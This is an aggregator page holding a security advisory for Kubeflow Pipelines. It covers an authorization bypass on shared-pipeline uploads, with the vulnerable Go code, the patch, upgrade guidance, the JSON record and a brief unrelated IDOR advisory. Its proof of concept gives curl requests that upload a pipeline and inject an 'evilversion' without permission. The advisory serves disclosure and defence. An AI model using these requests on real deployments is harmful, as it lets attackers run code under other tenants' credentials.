Reproduced live against the real API server binary (ghcr.io/kubeflow/kfp-api-server@sha256:621fdae9bfcc93405eca299c24f715bc7f17dbb76f1b53e8b2b35852e4d7d423, MULTIUSER=true, REQUIRE_NAMESPACE_FOR_PIPELINES unset). The API server SA holds subjectaccessreviews/tokenreviews: [create] (authz fully functional); identity attacker@evil.com has no RBAC anywhere; victim-ns exists with no grant to the attacker.

  1. Shared (empty-namespace) pipeline create as the unprivileged attacker (HTTP 200): curl -F uploadfile=@pipeline.yaml -H "kubeflow-userid: attacker@evil.com" \ "http://APISERVER:8888/apis/v2beta1/pipelines/upload?name=shared-pwn" -> {"pipeline_id":"80cd99df-...","name":"shared-pwn", ...}
  2. Inject a new version into that shared pipeline, the high-impact primitive (HTTP 200): curl -F uploadfile=@pipeline2.yaml -H "kubeflow-userid: attacker@evil.com" \ "http://APISERVER:8888/apis/v2beta1/pipelines/upload_version?name=evilversion&pipelineid=80cd99df-..." -> {"pipeline_version_id":"32299f65-...","name":"evilversion","pipeline_spec":{ attacker IR }}
  3. Same create with no identity header at all: HTTP 200 (anon-shared-pwn created).
  4. Negative control, same attacker, &namespace=victim-ns (real namespace, no RBAC): HTTP 400, rejected at pipeline_upload_server.go:135 (the canUploadVersionedPipeline error path). Authorization is live; only the empty-namespace branch bypasses it.
  5. Asymmetry, gRPC POST /apis/v2beta1/pipelines with empty namespace as the same attacker: HTTP 403 PermissionDenied (ResourceAttributes{Namespace:kubeflow,Verb:create,...}). The gRPC path remapped empty to the system namespace and authorized.

API server logs corroborate: every empty-namespace upload logs Upload pipeline called with no following Authorizing request, while every namespaced upload and every gRPC create logs Authorizing request then PermissionDenied. Database state persists the attacker's shared-pwn and anon-shared-pwn pipelines and the injected evilversion; the denied ns-pwn created nothing.

Full scaffolding (run.sh, 01-mysql.yaml through 05-apiserver.yaml, pipeline.yaml, pipeline2.yaml) and captured evidence are available on request.

Impact

In multi-user deployments that permit shared pipelines, a low-privilege tenant can create shared pipelines or add attacker-controlled versions to existing shared pipelines without the required write permission. Direct access to the API server without an authenticating proxy can also expose the bypass to unauthenticated callers; the CVSS vector below assesses the authenticated tenant scenario.

An attacker can upload a malicious version of an existing shared pipeline consumed by a recurring run configured to follow the latest version. On its next scheduled execution, the controller resolves the newly uploaded version and executes it in the consuming run's namespace using its configured service account, without further user interaction. Recurring runs pinned to a specific version or containing an embedded specification are not subject to this automatic substitution.

This automatic path requires an enabled, unpinned recurring run consuming the targeted shared pipeline and an uploaded specification compatible with the run's inputs. Latest-version selection queries the newest ready pipeline version; it does not depend on the UpdatePipelineVersionByDefault setting.

The automatic execution path was verified by source inspection, including the 2.17.2 tag: recurring-run creation preserves an unpinned pipeline reference, the scheduled-workflow controller submits it to CreateRun, and the API resolves the latest version before constructing the workflow. This is distinct from the live upload-bypass reproduction above; an end-to-end scheduled victim-execution reproduction has not been performed as part of this maintainer assessment.

Execution occurs with the victim workload's permissions and access to its mounted data and credentials. It can compromise confidential data and execution integrity available to that workload. It does not inherently grant access to every secret in the victim namespace or cluster-admin privileges.

CVSS rationale

The retained CVSS v3.1 vector is 9.6 Critical — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N.

  • AV:N / AC:L / PR:L: an authenticated low-privilege tenant can submit a normal multipart version upload targeting a shared pipeline, without shared-pipeline write permission.
  • UI:N: an existing unpinned recurring run can consume the injected version automatically; no further victim action is required.
  • S:C: the scored consequence extends from unauthorized modification of the shared pipeline catalog to code execution under a separate victim workload's Kubernetes namespace and service-account authority, not merely modification of another catalog entry.
  • C:H / I:H: attacker-controlled workload code can compromise the confidentiality and integrity of resources available under that victim execution authority. These impacts do not imply cluster-wide access.
  • A:N: this vector does not claim an independently established availability impact.

Patches / Remediation

The fix merged into master on September 9, 2026 in kubeflow/pipelines#14352, commit 62516d8c525f146b754cb515cf441dd0290ad841.

The upload authorization helper now uses ResourceManager.IsEmptyNamespace to recognize both the empty string and the legacy model.NoNamespace ("-") representation of shared pipelines. It checks shared writes against the configured KFP system namespace through IsAuthorized, requiring create on the pipelines resource in the pipelines.kubeflow.org API group. This matches the gRPC shared-write policy without changing the stored pipeline namespace. Namespaced authorization, single-user behavior, and intentional latest-version scheduling remain unchanged.

The original fix by Vito Carolillo (@vcrll) was carried forward with its authorship and DCO sign-off preserved. Separate maintainer commits added regression coverage, sentinel handling, and test-harness compatibility corrections.

Validation

  • 32 endpoint regression cases cover both v1beta1 and v2beta1 pipeline and pipeline-version uploads: allowed and denied shared writes (empty and sentinel namespaces), namespaced writes, and single-user behavior. Tests verify exact SubjectAccessReview attributes and preservation of stored namespaces.
  • A negative control restoring the original early return caused the new shared-upload tests to fail, including denied requests returning HTTP 200 without an authorization check.
  • The full server unit-test package and changed-package lint passed during remediation.
  • E2E test clients were corrected to send their generated authentication token and target the tenant namespace for HTTP uploads. Kubernetes-native clients retain their constructor-configured namespace rather than receiving an unsupported upload parameter. Helper regression tests and E2E/API package compilation passed.

Release status and upgrade guidance

The first fixed release is 2.18.0. Releases through 2.17.3 remain affected; the affected-version upper bound is <= 2.17.3 and the patched version is 2.18.0.

The 2.18 RBAC and client migration guide is included through PR #14655. Related trusted-scheduling changes do not replace upload authorization or remove previously uploaded versions. Roll out the matching server/manifests and review existing shared versions and schedules.

In multi-user deployments, callers that previously relied on unauthenticated or unauthorized shared uploads will now be rejected:

  • UI: choose Private (the default in the upload dialog) for tenant-owned pipelines. Shared uploads require an authorized shared-pipeline writer.
  • Python SDK: explicitly pass the tenant namespace, for example client.upload_pipeline("pipeline.yaml", namespace="my-namespace"). Setting Client(namespace=...) alone does not populate this upload argument.
  • New versions: inherit the existing pipeline's namespace. Existing shared pipelines must be maintained by an identity with the required system-namespace pipeline permission, or re-uploaded as new namespaced pipelines with consuming runs and schedules repointed.
  • Kubernetes-native uploads: retain their existing client-configured namespace contract.

Do not grant blanket system-namespace access or restore the authorization bypass to preserve old upload scripts. Grant only the required pipeline-write permission to designated shared-pipeline maintainers.

As an interim hardening measure before deploying the fix, operators can set REQUIRE_NAMESPACE_FOR_PIPELINES=true to reject empty-namespace pipeline operations, with the corresponding compatibility impact on shared uploads.

Restoring upload authorization does not remove previously uploaded malicious versions or migrate existing pipelines and runs. Operators should review shared-pipeline versions and consuming recurring runs for unauthorized changes; pinning to a reviewed version prevents subsequent latest-version substitution.

The visualization authorization issue is tracked separately in GHSA-w9j6-6675-75m4 and is outside this fix's scope.

Resources

  • backend/src/apiserver/server/pipeline_upload_server.go:387-421 (canUploadVersionedPipeline; bypass at :401-403), :118-138, :290-312
  • backend/src/apiserver/server/pipeline_server.go:1290-1306 (canAccessPipeline; load-bearing comment :1290-1292)
  • backend/src/apiserver/validation/namespace.go:25-30
  • backend/src/apiserver/common/config.go:41, :73-74
  • backend/src/apiserver/resource/resource_manager.go (CreateJob, fetchPipelineVersionFromPipelineSpec, CreateRun)
  • backend/src/crd/controller/scheduledworkflow/controller.go (submitNewWorkflowIfNotAlreadySubmitted)
  • backend/src/apiserver/storage/pipeline_store.go (GetLatestPipelineVersion)
  • Distinct from CVE-2023-6570 and CVE-2023-6571 (both in kubeflow/kubeflow, different components and classes).

Maintainer disposition

This is the canonical advisory for the shared pipeline upload authorization family. Related submissions closed as duplicates or superseded by this canonical:

Each linked submission retains its own reporter attribution. A cross-link does not transfer authorship or grant co-reporter credit on this advisory. The fix merged through #14352 on September 9, 2026. The fix is available in 2.18.0. This advisory remains a maintained draft pending publication; CVE-2026-77596 and the 9.6 CVSS score are unchanged.

Private patch disposition

The earlier private PR #1 is closed as superseded by public PR #14352 and the released follow-ups described above. The private branch and review history are retained; this closure does not dismiss the report or change reporter credit. The advisory remains a draft pending the publication review.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kubeflow/pipelines"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260909234119-62516d8c525f"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77596"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-09T22:22:41Z",
    "nvd_published_at": "2026-11-05T23:17:00Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nIn multi-user mode, the Kubeflow Pipelines API server\u0027s HTTP multipart upload endpoints (`POST /apis/v2beta1/pipelines/upload` and `POST /apis/v2beta1/pipelines/upload_version`) perform no authorization when the target namespace is empty. The authorization helper `canUploadVersionedPipeline` returns `nil`, skipping `SubjectAccessReview`, whenever the resolved namespace is the empty string (`backend/src/apiserver/server/pipeline_upload_server.go:401-403`). An empty namespace is how KFP addresses shared, cluster-wide pipelines and is the default whenever the caller omits the `namespace` query parameter, because `REQUIRE_NAMESPACE_FOR_PIPELINES` defaults to `false` and is unset in every shipped manifest. As a result, an arbitrary low-privilege tenant (or, when the API server is reachable, an unauthenticated caller) can create cluster-shared pipelines and inject new versions into existing shared pipelines, replacing the container image, command, and args that other tenants execute. The gRPC sibling for the same write, `canAccessPipeline`, instead remaps the empty namespace to the system namespace and authorizes, with a comment stating shared-pipeline writes \"must still be authorized\". That confirms this is an omission, not intended behavior.\n\n## Description\n\n`uploadPipeline` and `uploadPipelineVersion` both build a `ResourceAttributes{Verb: create}` and delegate the access decision to `canUploadVersionedPipeline`:\n\n```go\n// backend/src/apiserver/server/pipeline_upload_server.go:387-421\nfunc (s *PipelineUploadServer) canUploadVersionedPipeline(r *http.Request, pipelineID string, resourceAttributes *authorizationv1.ResourceAttributes) error {\n\tif !common.IsMultiUserMode() {\n\t\treturn nil\n\t}\n\tif len(pipelineID) \u003e 0 {\n\t\tnamespace, err := s.resourceManager.FetchNamespaceFromPipelineId(pipelineID)\n\t\tif err != nil {\n\t\t\treturn util.Wrap(err, \"Failed to authorize with the Pipeline ID\")\n\t\t}\n\t\tif len(resourceAttributes.Namespace) == 0 {\n\t\t\tresourceAttributes.Namespace = namespace\n\t\t}\n\t}\n\tif resourceAttributes.Namespace == \"\" {\n\t\treturn nil          // empty namespace = no SubjectAccessReview\n\t}\n\t// ... only here does IsAuthorized() run ...\n}\n```\n\nWhen the namespace is empty (a shared/cluster-wide pipeline, or simply an upload with no `namespace` parameter), the function returns at line 401-403 and `IsAuthorized` is never reached.\n\nReachability is the default. `ValidateNamespaceRequired` only rejects an empty namespace when `IsNamespaceRequiredForPipelines()` is true:\n\n```go\n// backend/src/apiserver/validation/namespace.go:25-30\nfunc ValidateNamespaceRequired(namespace string) error {\n\tif common.IsMultiUserMode() \u0026\u0026 common.IsNamespaceRequiredForPipelines() \u0026\u0026 namespace == \"\" {\n\t\treturn util.NewInvalidInputError(\"Namespace is required for pipeline operations\")\n\t}\n\treturn nil\n}\n// backend/src/apiserver/common/config.go:73-74  -\u003e default FALSE\nfunc IsNamespaceRequiredForPipelines() bool {\n\treturn GetBoolConfigWithDefault(RequireNamespaceForPipelines, false)\n}\n```\n\n`REQUIRE_NAMESPACE_FOR_PIPELINES` (`config.go:41`) defaults to `false` and is not set in any manifest under `manifests/`. So in a default multi-user install, empty namespaces pass validation and flow into the unguarded branch.\n\nThe gRPC sibling proves the intended behavior is to authorize empty-namespace writes:\n\n```go\n// backend/src/apiserver/server/pipeline_server.go:1290-1306 (canAccessPipeline)\n\t// Skip authorization for read-only operations on shared pipelines in multi-user mode.\n\t// Write operations (create, update, delete) on shared pipelines must still be authorized\n\t// against the KFP system namespace, since shared pipelines have no namespace of their own.\n\tif s.resourceManager.IsEmptyNamespace(resourceAttributes.Namespace) {\n\t\tif resourceAttributes.Verb == common.RbacResourceVerbGet || resourceAttributes.Verb == common.RbacResourceVerbList {\n\t\t\treturn nil\n\t\t}\n\t\tresourceAttributes.Namespace = common.GetPodNamespace()\n\t\t// ... IsAuthorized(...) ...\n\t\treturn nil\n\t}\n```\n\nReads of shared pipelines intentionally skip authorization; writes must be authorized against the system namespace. The upload endpoints only ever perform writes, yet `canUploadVersionedPipeline` applies the read behavior to them.\n\n## Proof of Concept\n\nReproduced live against the real API server binary (`ghcr.io/kubeflow/kfp-api-server@sha256:621fdae9bfcc93405eca299c24f715bc7f17dbb76f1b53e8b2b35852e4d7d423`, `MULTIUSER=true`, `REQUIRE_NAMESPACE_FOR_PIPELINES` unset). The API server SA holds `subjectaccessreviews/tokenreviews: [create]` (authz fully functional); identity `attacker@evil.com` has no RBAC anywhere; `victim-ns` exists with no grant to the attacker.\n\n1. Shared (empty-namespace) pipeline create as the unprivileged attacker (HTTP 200):\n   ```\n   curl -F uploadfile=@pipeline.yaml -H \"kubeflow-userid: attacker@evil.com\" \\\n     \"http://APISERVER:8888/apis/v2beta1/pipelines/upload?name=shared-pwn\"\n   -\u003e {\"pipeline_id\":\"80cd99df-...\",\"name\":\"shared-pwn\", ...}\n   ```\n2. Inject a new version into that shared pipeline, the high-impact primitive (HTTP 200):\n   ```\n   curl -F uploadfile=@pipeline2.yaml -H \"kubeflow-userid: attacker@evil.com\" \\\n     \"http://APISERVER:8888/apis/v2beta1/pipelines/upload_version?name=evilversion\u0026pipelineid=80cd99df-...\"\n   -\u003e {\"pipeline_version_id\":\"32299f65-...\",\"name\":\"evilversion\",\"pipeline_spec\":{ attacker IR }}\n   ```\n3. Same create with no identity header at all: HTTP 200 (`anon-shared-pwn` created).\n4. Negative control, same attacker, `\u0026namespace=victim-ns` (real namespace, no RBAC): HTTP 400, rejected at `pipeline_upload_server.go:135` (the `canUploadVersionedPipeline` error path). Authorization is live; only the empty-namespace branch bypasses it.\n5. Asymmetry, gRPC `POST /apis/v2beta1/pipelines` with empty namespace as the same attacker: HTTP 403 PermissionDenied (`ResourceAttributes{Namespace:kubeflow,Verb:create,...}`). The gRPC path remapped empty to the system namespace and authorized.\n\nAPI server logs corroborate: every empty-namespace upload logs `Upload pipeline called` with no following `Authorizing request`, while every namespaced upload and every gRPC create logs `Authorizing request` then `PermissionDenied`. Database state persists the attacker\u0027s `shared-pwn` and `anon-shared-pwn` pipelines and the injected `evilversion`; the denied `ns-pwn` created nothing.\n\nFull scaffolding (`run.sh`, `01-mysql.yaml` through `05-apiserver.yaml`, `pipeline.yaml`, `pipeline2.yaml`) and captured evidence are available on request.\n\n## Impact\n\nIn multi-user deployments that permit shared pipelines, a low-privilege tenant can create shared pipelines or add attacker-controlled versions to existing shared pipelines without the required write permission. Direct access to the API server without an authenticating proxy can also expose the bypass to unauthenticated callers; the CVSS vector below assesses the authenticated tenant scenario.\n\nAn attacker can upload a malicious version of an existing shared pipeline consumed by a recurring run configured to follow the latest version. On its next scheduled execution, the controller resolves the newly uploaded version and executes it in the consuming run\u0027s namespace using its configured service account, without further user interaction. Recurring runs pinned to a specific version or containing an embedded specification are not subject to this automatic substitution.\n\nThis automatic path requires an enabled, unpinned recurring run consuming the targeted shared pipeline and an uploaded specification compatible with the run\u0027s inputs. Latest-version selection queries the newest ready pipeline version; it does not depend on the `UpdatePipelineVersionByDefault` setting.\n\nThe automatic execution path was verified by source inspection, including the `2.17.2` tag: recurring-run creation preserves an unpinned pipeline reference, the scheduled-workflow controller submits it to `CreateRun`, and the API resolves the latest version before constructing the workflow. This is distinct from the live upload-bypass reproduction above; an end-to-end scheduled victim-execution reproduction has not been performed as part of this maintainer assessment.\n\nExecution occurs with the victim workload\u0027s permissions and access to its mounted data and credentials. It can compromise confidential data and execution integrity available to that workload. It does not inherently grant access to every secret in the victim namespace or cluster-admin privileges.\n\n### CVSS rationale\n\nThe retained CVSS v3.1 vector is **9.6 Critical \u2014 `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N`**.\n\n- **AV:N / AC:L / PR:L:** an authenticated low-privilege tenant can submit a normal multipart version upload targeting a shared pipeline, without shared-pipeline write permission.\n- **UI:N:** an existing unpinned recurring run can consume the injected version automatically; no further victim action is required.\n- **S:C:** the scored consequence extends from unauthorized modification of the shared pipeline catalog to code execution under a separate victim workload\u0027s Kubernetes namespace and service-account authority, not merely modification of another catalog entry.\n- **C:H / I:H:** attacker-controlled workload code can compromise the confidentiality and integrity of resources available under that victim execution authority. These impacts do not imply cluster-wide access.\n- **A:N:** this vector does not claim an independently established availability impact.\n\n## Patches / Remediation\n\nThe fix merged into `master` on September 9, 2026 in [kubeflow/pipelines#14352](https://github.com/kubeflow/pipelines/pull/14352), commit [62516d8c525f146b754cb515cf441dd0290ad841](https://github.com/kubeflow/pipelines/commit/62516d8c525f146b754cb515cf441dd0290ad841).\n\nThe upload authorization helper now uses `ResourceManager.IsEmptyNamespace` to recognize both the empty string and the legacy `model.NoNamespace` (`\"-\"`) representation of shared pipelines. It checks shared writes against the configured KFP system namespace through `IsAuthorized`, requiring `create` on the `pipelines` resource in the `pipelines.kubeflow.org` API group. This matches the gRPC shared-write policy without changing the stored pipeline namespace. Namespaced authorization, single-user behavior, and intentional latest-version scheduling remain unchanged.\n\nThe original fix by Vito Carolillo (@vcrll) was carried forward with its authorship and DCO sign-off preserved. Separate maintainer commits added regression coverage, sentinel handling, and test-harness compatibility corrections.\n\n### Validation\n\n- 32 endpoint regression cases cover both v1beta1 and v2beta1 pipeline and pipeline-version uploads: allowed and denied shared writes (empty and sentinel namespaces), namespaced writes, and single-user behavior. Tests verify exact SubjectAccessReview attributes and preservation of stored namespaces.\n- A negative control restoring the original early return caused the new shared-upload tests to fail, including denied requests returning HTTP 200 without an authorization check.\n- The full server unit-test package and changed-package lint passed during remediation.\n- E2E test clients were corrected to send their generated authentication token and target the tenant namespace for HTTP uploads. Kubernetes-native clients retain their constructor-configured namespace rather than receiving an unsupported upload parameter. Helper regression tests and E2E/API package compilation passed.\n\n### Release status and upgrade guidance\n\nThe first fixed release is **[2.18.0](https://github.com/kubeflow/pipelines/releases/tag/2.18.0)**. Releases through **2.17.3** remain affected; the affected-version upper bound is `\u003c= 2.17.3` and the patched version is `2.18.0`.\n\nThe 2.18 [RBAC and client migration guide](https://github.com/kubeflow/pipelines/blob/2.18.0/docs/operator-guides/rbac-migration-2.18.md) is included through [PR #14655](https://github.com/kubeflow/pipelines/pull/14655). Related trusted-scheduling changes do not replace upload authorization or remove previously uploaded versions. Roll out the matching server/manifests and review existing shared versions and schedules.\n\nIn multi-user deployments, callers that previously relied on unauthenticated or unauthorized shared uploads will now be rejected:\n\n- **UI:** choose **Private** (the default in the upload dialog) for tenant-owned pipelines. **Shared** uploads require an authorized shared-pipeline writer.\n- **Python SDK:** explicitly pass the tenant namespace, for example `client.upload_pipeline(\"pipeline.yaml\", namespace=\"my-namespace\")`. Setting `Client(namespace=...)` alone does not populate this upload argument.\n- **New versions:** inherit the existing pipeline\u0027s namespace. Existing shared pipelines must be maintained by an identity with the required system-namespace pipeline permission, or re-uploaded as new namespaced pipelines with consuming runs and schedules repointed.\n- **Kubernetes-native uploads:** retain their existing client-configured namespace contract.\n\nDo not grant blanket system-namespace access or restore the authorization bypass to preserve old upload scripts. Grant only the required pipeline-write permission to designated shared-pipeline maintainers.\n\nAs an interim hardening measure before deploying the fix, operators can set `REQUIRE_NAMESPACE_FOR_PIPELINES=true` to reject empty-namespace pipeline operations, with the corresponding compatibility impact on shared uploads.\n\nRestoring upload authorization does not remove previously uploaded malicious versions or migrate existing pipelines and runs. Operators should review shared-pipeline versions and consuming recurring runs for unauthorized changes; pinning to a reviewed version prevents subsequent latest-version substitution.\n\nThe visualization authorization issue is tracked separately in [GHSA-w9j6-6675-75m4](https://github.com/kubeflow/pipelines/security/advisories/GHSA-w9j6-6675-75m4) and is outside this fix\u0027s scope.\n\n## Resources\n\n- `backend/src/apiserver/server/pipeline_upload_server.go:387-421` (`canUploadVersionedPipeline`; bypass at `:401-403`), `:118-138`, `:290-312`\n- `backend/src/apiserver/server/pipeline_server.go:1290-1306` (`canAccessPipeline`; load-bearing comment `:1290-1292`)\n- `backend/src/apiserver/validation/namespace.go:25-30`\n- `backend/src/apiserver/common/config.go:41`, `:73-74`\n- `backend/src/apiserver/resource/resource_manager.go` (`CreateJob`, `fetchPipelineVersionFromPipelineSpec`, `CreateRun`)\n- `backend/src/crd/controller/scheduledworkflow/controller.go` (`submitNewWorkflowIfNotAlreadySubmitted`)\n- `backend/src/apiserver/storage/pipeline_store.go` (`GetLatestPipelineVersion`)\n- Distinct from CVE-2023-6570 and CVE-2023-6571 (both in `kubeflow/kubeflow`, different components and classes).\n\n\u003c!-- maintainer-family-cleanup:2026-09-04 --\u003e\n### Maintainer disposition\n\nThis is the canonical advisory for the **shared pipeline upload authorization** family. Related submissions closed as duplicates or superseded by this canonical:\n\n- [GHSA-87q5-j5jh-fhp8](https://github.com/kubeflow/pipelines/security/advisories/GHSA-87q5-j5jh-fhp8)\n\nEach linked submission retains its own reporter attribution. A cross-link does not transfer authorship or grant co-reporter credit on this advisory. The fix merged through [#14352](https://github.com/kubeflow/pipelines/pull/14352) on September 9, 2026. The fix is available in 2.18.0. This advisory remains a maintained draft pending publication; CVE-2026-77596 and the 9.6 CVSS score are unchanged.\n\n### Private patch disposition\n\nThe earlier [private PR #1](https://github.com/kubeflow/pipelines-ghsa-rjr3-43j3-4q8g/pull/1) is closed as superseded by [public PR #14352](https://github.com/kubeflow/pipelines/pull/14352) and the released follow-ups described above. The private branch and review history are retained; this closure does not dismiss the report or change reporter credit. The advisory remains a draft pending the publication review.",
  "id": "GHSA-rjr3-43j3-4q8g",
  "modified": "2026-11-09T22:22:41Z",
  "published": "2026-11-09T22:22:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kubeflow/pipelines/security/advisories/GHSA-rjr3-43j3-4q8g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77596"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubeflow/pipelines/pull/14352"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubeflow/pipelines/commit/62516d8c525f146b754cb515cf441dd0290ad841"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kubeflow/pipelines"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubeflow/pipelines/releases/tag/2.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kubeflow Pipelines API server lacks authorization for shared pipeline uploads"
}

GHSA-RJV6-GJ2V-MH9H

Vulnerability from github – Published: 2025-05-26 12:30 – Updated: 2025-05-26 12:30
VLAI
Details

A vulnerability has been found in Summer Pearl Group Vacation Rental Management Platform up to 1.0.1 and classified as critical. This vulnerability affects unknown code of the component Listing Handler. The manipulation leads to authorization bypass. The attack can be initiated remotely. Upgrading to version 1.0.2 is able to address this issue. It is recommended to upgrade the affected component.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-5182"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-26T11:15:24Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been found in Summer Pearl Group Vacation Rental Management Platform up to 1.0.1 and classified as critical. This vulnerability affects unknown code of the component Listing Handler. The manipulation leads to authorization bypass. The attack can be initiated remotely. Upgrading to version 1.0.2 is able to address this issue. It is recommended to upgrade the affected component.",
  "id": "GHSA-rjv6-gj2v-mh9h",
  "modified": "2025-05-26T12:30:30Z",
  "published": "2025-05-26T12:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5182"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Stolichnayer/Summer-Pearl-Group-IDOR-XSS"
    },
    {
      "type": "WEB",
      "url": "https://summerpearlgroup.gr/spgpm/releases"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.310270"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.310270"
    },
    {
      "type": "WEB",
      "url": "https://www.youtube.com/watch?v=0wwuatTa6sU"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.